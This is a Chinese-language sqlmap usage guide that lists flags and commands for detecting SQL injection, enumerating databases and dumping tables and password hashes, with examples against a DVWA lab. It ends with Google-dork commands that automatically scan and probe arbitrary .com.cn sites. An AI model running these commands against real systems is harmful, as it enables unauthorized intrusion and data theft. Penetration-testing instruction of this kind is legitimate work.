下载
GUI版地址: GitHub - honmashironeko/sqlmap-gui: 基于官版本 SQLMAP 进行人工汉化,并提供GUI界面及多个自动化脚本
GUI使用
可以点击.bat启动
如果点击.bat启动不了就在这里打开cmd,输入对应的.bat来启动
linux安装
地址:sqlmap: automatic SQL injection and database takeover tool
选择.tar.gz文件
解压:tar -zxvf sqlmapproject-sqlmap-1.8.6-5-g6ae0d0f.tar.gz
取别名:alias sqlmap='/home/kali/sqlmap/sqlmapproject-sqlmap-6ae0d0f/sqlmap.py'
命令行使用
-u 指定URL
-p 指定参数
-v 指定显示级别
--dbs 目标服务器中的数据库
--current-db 当前数据库
--tables 目标数据库有什么表
--columns 目标表中有什么列
--dump 获取数据
--batch 跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
--dbms 指定数据库类型
--current-user 查看当前用户
--users 查看所有用户
--passwords 数据库密码
--hostname 系统名称
--banner 数据库信息
--roles 数据库用户角色
判断注入点
# get方法
sqlmap -u "目标url+get参数"
# post方法
1.sqlmap -r 流量包文件.txt
2.sglmap -u "url" --data "post数据"
# 带cookie
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=ncoe0kgvdnq1l6755" --batch
# 设置等级
sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3
level 和 risk
在 SQLmap 中,level和risk是两个重要的选项,用于指定 SQL 注入检测和利用的深度和风险程度。
level选项用于指定检测的深度,取值范围为 1~5,数字越大,检测的深度越深,检测的速度越慢。
默认值为 1,表示最浅层的检测。risk选项用于指定检测和利用的风险程度,
取值范围为 0~3,数字越大,风险越高,检测和利用的方式越激进。默认值为 1,表示中等的风险程度。
在使用 SQLmap 时,根据实际情况选择合适的level和risk选项,可以提高检测和利用的效率和成功率,
同时避免对目标系统造成过多的影响和损害。
需要注意的是,level和risk选项虽然可以提高检测和利用的效率和成功率,但也会增加误报和误判的风险,
甚至可能引发系统崩溃和数据损坏等问题。因此,在使用这两个选项时,需要谨慎评估风险和影响,
并进行充分的测试和验证。同时,还需要遵守合法、合规、道德的原则,遵守法律法规,
并获得相关授权和许可,以避免违法和不当行为带来的法律和道德风险。
Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。
其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,
探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,
HTTP cookie在 level 为 2 时就会测试,HTTP User-Agent/Referer头在 level 为 3 时就会测试。
在不确定哪个参数为注入点时,为了保证准确性,建议设置 level 为5
sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。
和探测等级一个意思,在不确定的情况下,建议设置为 3 级
获取内容
# 获取数据库名
sqlmap -u 目标url+参数 --dbs
# 获取表名
sqlmap -u 目标 -D 库名 --tables
# 获取字段名
sqlmap -u 目标 -D 库名 -T 表名 --columns
# 获取字段值
sqlmap -u 目标 -D 库名 -T 表名 --dump #获取全部
sqlmap -u 目标 -D 库名 -T 表名 -C "字段1,字段2,.." --dump #获取指定
文件读取
Sqlmap支持从不同类型的文件中读取目标进行Sql注入探测
-l从Burpsuite proxy或WebScarab proxy中读取Http请求日志文件
-×从sitemap.xml站点地图文件中读取目标探测。
-m从多行文本格式文件读取多个目标,对多个目标进行探测。
-r从文本文件中读取Http请求作为Sql注入探测的目标。
-c从配置文件sqlmap.conf中读取目标探测。
对google进行扫描
Sqlmap通过-g自动利用Google获取指定Google hack的目杯,然后利用交互问导模式进行Sql注入探测。
例如:
python sqlmap.py -g "inurl:.php?id=1"
python sqlmap.py -g "inurl:php?id=10 site:.com.cn" --proxy"http://127.0.0.1:1080" --threads 5 --batch --answer "extending=N,follow=N,keep=N,exploit=n" --smart